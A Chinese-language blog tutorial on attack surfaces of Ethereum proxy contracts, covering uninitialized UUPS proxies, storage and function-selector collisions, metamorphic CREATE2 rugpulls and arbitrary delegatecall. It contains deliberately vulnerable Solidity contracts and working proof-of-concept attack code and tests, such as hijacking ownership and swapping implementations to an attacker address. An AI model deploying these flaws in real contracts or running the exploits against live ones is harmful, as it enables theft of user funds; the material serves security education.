区块链安全-浅谈代理合约中的漏洞
kkontheway 发表于 中国 区块链安全 986浏览 · 2024-05-17 08:09

前言


对区块链安全中代理的攻击面进行简单的学习。

0-Proxy的分类


如今Proxy一般分为以下8种,最常用的就是UUPS和Diamond 设计模式,不同合约面临的攻击面也不同。

  1. 普通Proxy合约
  2. Upgradable Proxy
  3. EIP-1967可升级代理合约
  4. TPP
  5. UUPS
  6. Beacon Proxy
  7. Diamond Proxy
  8. Metamorphic Proxy

1-How to Identify Proxy


  • 最普通的代理
    • 不遵循EIP-1967。Proxy使用常规的storage变亮存储,然后和delegatecall一起使用
    • 可能会使用EIP-1167最小的代理字节码。
  • TTP
    • Proxy合约的fallback函数会区别msg.sender是不是admin
    • Proxy contract通常具有生机和更改Proxy管理员代码的功能,同时这些函数被access control modifier保护.
  • UUPS
    • 会从OZ到入uups合约
    • 包含initialize函数
    • 也是会在合约中有1882或者EIP-1882这种
  • Diamond Proxy Identifiers
    • 最有可能的合同名称包含“diamond”、“facet”、“loupe”等字样。
    • 遵循EIP-2535实现
    • 包含 delegatecall 的函数将允许用户指定一个参数来标识应由 delegatecall 调用的 facet。指定分面的这个参数不一定是函数参数,但可以是,例如,可以是 msg.data

2-Uninitialized Proxy


完整代码

为什么需要initialized

在学习未初始化漏洞之前,先来了解一下为什么在代理中为什么需要有proxy。
一般在合约部署的时候,构造函数会被自动执行一次,但是我们无法控制在合约被create的时候控制构造函数在Proxy的上下文中运行。
但是Proxy又规定了实现合约_initialize的值必须存储在Proxy的context中,所以我们不能使用构造函数,构造函数的代码将始终在实现合约的上下文中运行。
这也是为什么又initialize函数的原因,因为initialize的是由Proxy调用的,所以在Proxy的上下文中执行。

例子

Proxytoken.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "openzeppelin-contracts/contracts/proxy/utils/Initializable.sol";
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "openzeppelin-contracts/contracts/proxy/utils/UUPSUpgradeable.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";

// code partially borrowed from https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786

contract ProxyToken is Initializable, ERC20, UUPSUpgradeable, Ownable {
    constructor() ERC20("ProxyToken", "PTK") {
        // constructor is ignored by the proxy
    }

    function initialize() public initializer {
        _transferOwnership(_msgSender()); // copied from Ownable constructor
    }

    function mint(uint256 quantity) external onlyOwner {
        _mint(_msgSender(), quantity);
    }

    // @note this function should have the onlyOwner modifier
    function _authorizeUpgrade(address) internal override onlyOwner {}
}

UUPS_Proxy.sol:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;

import "openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol";

// code borrowed from repo with proxies & tests implemented in forge https://github.com/FredCoen/Proxy_implementations_with_forge

contract UUPSProxy is ERC1967Proxy {
    constructor(address _implementation, bytes memory _data) ERC1967Proxy(_implementation, _data) {}
}

Test.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import {ProxyToken} from "../../src/Proxy/Uninitialized/ProxyToken.sol";
import {UUPSProxy} from "../../src/Proxy/Uninitialized/UUPS.sol";

// These tests demonstrate the issue of an uninitialized UUPS proxy
// The solution is to initialize the UUPS proxy properly (by calling `initialize()` via the proxy contract)
// Multiple white hat bounties have been claimed for this issue

interface IProxyToken {
    function balanceOf(address) external returns (uint256);
}

contract UUPS_unintialized_Test is Test {
    ProxyToken public proxyToken;
    UUPSProxy public proxy;

    address public alice;

    function setUp() public {
        alice = address(0xABCDEF);

        // Deploy initial implementation and proxy contract
        proxyToken = new ProxyToken(); // Deploy implementation contract
        proxy = new UUPSProxy(address(proxyToken), ""); // Deploy ERC1967 proxy contract with testtoken logic as implementation

        vm.label(address(proxy), "proxy");
        vm.label(address(proxyToken), "Token");
        vm.label(address(alice), "alice");
    }

    // Step 1: Initialize the proxy and verify the owner is this contract
    function testCorrectInitialization() public {
        (bool validResponse, bytes memory returnedData) = address(proxy).call(abi.encodeWithSignature("initialize()"));
        assertTrue(validResponse);
        (validResponse, returnedData) = address(proxy).call(abi.encodeWithSignature("owner()"));
        assertTrue(validResponse);
        address owner = abi.decode(returnedData, (address));

        // owner of UUPSProxy contract should be this contract
        assertEq(owner, address(this));

        (validResponse, returnedData) = address(proxy).call(abi.encodeWithSignature("mint(uint256)", uint256(10 ether)));
        assertTrue(validResponse);

        // confirm this address has 10 ether worth of tokens
        assertEq(IProxyToken(address(proxy)).balanceOf(address(this)), 10 ether);
    }

    // Step 2: Initialize proxy as Alice and verify the owner is Alice
    // The owner forgot to initialize the proxy so the first step for the attacker is to become the owner
    // Confirm Alice got the tokens minted in the initialize() function
    function testUnInitialized() public {
        vm.prank(address(alice));
        (bool validResponse, bytes memory returnedData) = address(proxy).call(abi.encodeWithSignature("initialize()"));
        assertTrue(validResponse);
        (validResponse, returnedData) = address(proxy).call(abi.encodeWithSignature("owner()"));
        assertTrue(validResponse);
        address owner = abi.decode(returnedData, (address));

        // owner of UUPSProxy contract will be alice
        assertEq(owner, address(alice));

        vm.prank(address(alice));
        (validResponse, returnedData) = address(proxy).call(abi.encodeWithSignature("mint(uint256)", uint256(10 ether)));
        assertTrue(validResponse);

        // confirm that alice has 10 ether worth of tokens
        assertEq(IProxyToken(address(proxy)).balanceOf(address(alice)), 10 ether);
    }
}

3-Storage Collision


简单了解一下EVM的存储

完整代码

3.1 SolidityByExample

代码来自于SolidityByExample:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
HackMe is a contract that uses delegatecall to execute code.
It is not obvious that the owner of HackMe can be changed since there is no
function inside HackMe to do so. However an attacker can hijack the
contract by exploiting delegatecall. Let's see how.

1. Alice deploys Lib
2. Alice deploys HackMe with address of Lib
3. Eve deploys Attack with address of HackMe
4. Eve calls Attack.attack()
5. Attack is now the owner of HackMe

What happened?
Eve called Attack.attack().
Attack called the fallback function of HackMe sending the function
selector of pwn(). HackMe forwards the call to Lib using delegatecall.
Here msg.data contains the function selector of pwn().
This tells Solidity to call the function pwn() inside Lib.
The function pwn() updates the owner to msg.sender.
Delegatecall runs the code of Lib using the context of HackMe.
Therefore HackMe's storage was updated to msg.sender where msg.sender is the
caller of HackMe, in this case Attack.
*/

contract Lib {
    address public owner;

    function pwn() public {
        owner = msg.sender;
    }
}

contract HackMe {
    address public owner;
    Lib public lib;

    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
        address(lib).delegatecall(msg.data);
    }
}

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

3.2-TTP Storage Collision

和上述的类似,具体实现可查看源码

4-Function Collision


首先我们需要了解一下什么是Function Selector,简单来说在EVM中,函数选择器是用来告诉EVM你要调用哪一个函数的。函数选择器是一个 4byte的hash值,Solidity使用它来识别函数。

一般来说函数冲突存在于所有的Proxy类型,但是UUPS中一般概率很少,因为在实现协议中存储了所有的自定义函数。

我们分为两类来讨论,普通的可升级合约,和UUPS。
完整代码

4.1-Upgradeable contract

实现合约:

// SPDX-License-Identifier: MIT
// NOTE: These contracts have a critical bug.
// DO NOT USE THIS IN PRODUCTION
pragma solidity ^0.8.13;

contract Implementation {
    function doImplementationStuff() external pure returns (bool) {
        return true;
    }

    function superSafeFunction96508587(address safu) external pure returns (address) {
        // vibes check
        if (420 > 69) return safu;
        return address(0);
    }
}

代理合约:

// SPDX-License-Identifier: MIT
// NOTE: These contracts have a critical bug.
// DO NOT USE THIS IN PRODUCTION
pragma solidity ^0.8.13;

/// A proxy contract inspired by
/// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol
///
/// Only the owner can call the contract, where owner is an immutable variable set during the
/// construction.
///
/// The implementation will be set to a deployment of `Implementation.sol` but is also settable.
contract Proxy {
    address public immutable owner;
    address public implementation;

    constructor(address implementation_, address owner_) {
        owner = owner_;
        implementation = implementation_;
    }

    function setImplementation(address implementation_) external {
        require(msg.sender == owner, "only owner");
        implementation = implementation_;
    }

    fallback() external payable {
        require(msg.sender == owner);

        address implementation_ = implementation;
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch space at memory position 0.
            calldatacopy(0, 0, calldatasize())

            // delegatecall the implementation.
            // out and outsize are 0 because we don't know the size yet.
            let success := delegatecall(gas(), implementation_, 0, calldatasize(), 0, 0)

            // copy the returned data.
            returndatacopy(0, 0, returndatasize())

            switch success
            // delegatecall returns 0 on error.
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    receive() external payable {}
}

发生函数选择冲突的函数:

setImplementation(address)
superSafeFunction96508587(address)

测试合约:

function testProxy_oops() public {
        address implementationAddress = address(implementation);
        vm.prank(owner);
        assert(IProxy(proxy).doImplementationStuff());

        address newImplementationAddress = address(0xb0ffed);
        vm.prank(owner);
        IProxy(proxy).superSafeFunction96508587(newImplementationAddress);
        assertEq(IProxy(proxy).implementation(), newImplementationAddress);
    }

4.2-UUPS

实现合约:

// SPDX-License-Identifier: MIT
// NOTE: These contracts have a critical bug.
// DO NOT USE THIS IN PRODUCTION
pragma solidity ^0.8.13;

contract Implementation {
    address public immutable owner;

    constructor(address owner_) {
        owner = owner_;
    }

    function setImplementation(address implementation_) external {
        require(msg.sender == owner, "only owner");
        assembly {
            sstore(0, implementation_)
        }
    }

    function delegatecallContract(address target, bytes calldata _calldata) external payable {
        (, bytes memory ret) = target.delegatecall(_calldata);
    }

    function doImplementationStuff() external pure returns (bool) {
        return true;
    }
}

ShadyContract.sol:

// SPDX-License-Identifier: MIT
// NOTE: These contracts have a critical bug.
// DO NOT USE THIS IN PRODUCTION
pragma solidity ^0.8.13;

contract ShadyContract {
    address public constant ATTACKER_CONTRACT_ADDRESS = address(0xB0FFEDC0DE);

    function superSafeFunction96508587(address) external {
        // this fn is totally safu
    }

    function verySafeNotARug() public {
        (, bytes memory ret) = address(this).delegatecall(
            abi.encodeWithSelector(ShadyContract.superSafeFunction96508587.selector, ATTACKER_CONTRACT_ADDRESS)
        );
    }
}

UUPS.sol:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;

// A simple implementation of the UUPS proxy.
// Similar to TransparentProxy but `setImplementation` logic is found in the implementation contract
// If a new implementation contract is set that does not contain setImplementation logic, then this becomes
// a non-upgradeable proxy.

contract UUPSProxy {
    address public immutable owner;
    address public implementation;

    constructor(address implementation_, address owner_) {
        implementation = implementation_;
        owner = owner_;
    }

    fallback() external payable {
        require(msg.sender == owner);

        address implementation_ = implementation;
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch space at memory position 0.
            calldatacopy(0, 0, calldatasize())

            // delegatecall the implementation.
            // out and outsize are 0 because we don't know the size yet.
            let success := delegatecall(gas(), implementation_, 0, calldatasize(), 0, 0)

            // copy the returned data.
            returndatacopy(0, 0, returndatasize())

            switch success
            // delegatecall returns 0 on error.
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    receive() external payable {}
}

Test.t.sol:

function testFailUUPSProxy_oops() public {
        address oldImplementationAddress = address(implementation);
        assertEq(IProxy(proxy).implementation(), oldImplementationAddress);

        vm.startPrank(owner);
        assert(IProxy(proxy).doImplementationStuff());

        bytes memory bts = abi.encodeWithSelector(ShadyContract.verySafeNotARug.selector, "");
        IProxy(proxy).delegatecallContract(address(shadyContract), bts);

        assertEq(IProxy(proxy).implementation(), shadyContract.ATTACKER_CONTRACT_ADDRESS());

        IProxy(proxy).doImplementationStuff();
    }

5-Metamorphic Contract Rug


完整代码
先了解一下关于Create2,CREATE2 操作码使我们在智能合约部署在以太坊网络之前就能预测合约的地址,Create2的目的是为了让合约地址独立于未来的时间。不管未来发生生么,都可以吧合约部署在事先计算好的地址上。

所以不怀好意的项目方在原先的合约地址新部署一个恶意地址的话,用户并不知道合约发生了变化,那么就会有问题产生。

示例代码:
Factory.sol:
用Create2进行deploy

function deploy(uint256 salt, bytes calldata bytecode) public returns (address) {
        bytes memory implInitCode = bytecode;
        bytes memory metamorphicCode = (hex"5860208158601c335a63aaf10f428752fa158151803b80938091923cf3");
        address metamorphicContractAddress = _getMetamorphicContractAddress(salt, metamorphicCode);
        address implementationContract;
        assembly {
            let encoded_data := add(0x20, implInitCode) // load initialization code.
            let encoded_size := mload(implInitCode) // load init code's length.
            implementationContract :=
                create(
                    // call CREATE with 3 arguments.
                    0, // do not forward any endowment.
                    encoded_data, // pass in initialization code.
                    encoded_size // pass in init code's length.
                )
        } /* solhint-enable no-inline-assembly */
        _implementations[metamorphicContractAddress] = implementationContract;

        address addr;
        assembly {
            let encoded_data := add(0x20, metamorphicCode) // load initialization code.
            let encoded_size := mload(metamorphicCode) // load init code's length.
            addr := create2(0, encoded_data, encoded_size, salt)
        }

        require(addr == metamorphicContractAddress, "Failed to deploy the new metamorphic contract.");
        return addr;
    }

原本的安全合约:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Multisig {
    address public owner;

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function initialize() external {
        require(owner == address(0), "Initialized");
        owner = msg.sender;
    }

    function transferFromContract(address _contract) external onlyOwner {
        bool status;
        (status,) = _contract.delegatecall(abi.encodeWithSignature("transfer()"));
        if (!status) revert();
    }

    function collect() external onlyOwner {
        bool sent;
        (sent,) = owner.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

传入恶意的Destroy合约:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Destroy {
    // this underhanded contract provides a way for the multisig
    // contract to be destructed and replaced by calling transfer()
    function transfer() public {
        selfdestruct(payable(msg.sender));
    }
}

在安全的合约被selfdestruct后,在同一地址创建恶意合约,从而rugpull:

function transferFromTreasury(address _contract) external onlyOwner {
        IERC20 token = IERC20(Treasury(_contract).token());
        token.transferFrom(_contract, owner, token.balanceOf(_contract));
    }

完整合约:

6-Delegatecall with Selfdestruct


完整代码
当和selfdestruct和delegatecall一起使用的时候,会出现意外。比如是A delegatecall B,B中的函数包含有self destruct,则合约A将会被销毁,因为selfdestruct在A的Context执行。

一旦合约没有正确的初始化,使恶意用户抢先初始化了,肯定会造成重大问题。

7-Delegatecall to Arbitrary Address


指的是假如合约存在delegatecall,调用的是用户传入的合约,这样就会产生重大风险。

比如上面提到的通过与 selfdestruct 结合 delegatecall 使用,可以实现拒绝服务。另一个风险是,如果用户使用 approve 或设置了允许信任包含任意地址的 delegatecall 代理合约,则任意 delegatecall 目标可用于窃取用户资金。合约传输执行的地址 delegatecall 必须是受信任的合约,并且不能是开放式的,以允许用户提供要委派的地址。

总结

上述所有代码都可以在这个代码库中找到.

0 条评论
某人
表情
可输入 255